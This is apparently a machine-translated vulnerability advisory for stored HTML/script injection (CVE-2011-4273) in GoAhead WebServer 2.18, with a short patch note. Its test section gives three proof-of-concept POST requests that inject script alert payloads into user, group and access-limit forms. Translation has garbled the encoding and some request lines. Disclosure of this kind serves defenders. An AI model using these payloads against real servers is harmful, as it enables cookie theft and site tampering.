Multiple HTML injection vulnerabilities in GoAhead WebServer

Release date: 2011-10-10
Updated on: 2011-11-08

Affected Systems:
GoAhead Software GoAhead WebServer 2.18
Description:
--------------------------------------------------------------------------------
Bugtraq id: 50039
Cve id: CVE-2011-4273

GoAhead WebServer is an open-source embedded WEB Server program that supports Active Server Pages, embedded Javascript, SSL verification, and encryption. It is widely used in Microsoft Windows and Linux operating systems.

Multiple HTML injection vulnerabilities exist in the implementation of GoAhead WebServer. Remote attackers can exploit this vulnerability to execute arbitrary HTML and script code in the affected browsers to steal cookie authentication creden。 or control the appearance of the website.

<* Source: Silent Dream

Link: http://www.kb.cert.org/vuls/id/384427
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

POST/goform/AddGroup HTTP/1.1
Group = & lt; script & gt; alert (1337) & lt;/script & gt; & amp; privilege = 4 & amp; method = 1 & amp; enabled = on & amp; OK = OK

POST, goform, AddAccessLimit, HTTP, 1.1
Url = & lt; script & gt; alert (1337) & lt;/script & gt; & amp; group = test & amp; method = 3 & amp; OK = OK

POST/goform/AddUser HTTP/1.1
User = % 3 Cscript % 3 Ealert % 281337% 29% 3C % 2 Fscript % 3E & amp; group = % 3 Cscript % 3 Ealert % 281337% 2
9% 3C % 2 Fscript % 3E & amp; enabled = on & amp; password = test & amp; passconf = test & amp; OK = OK

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

GoAhead Software
----------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.goahead.com/webserver/webserver.htm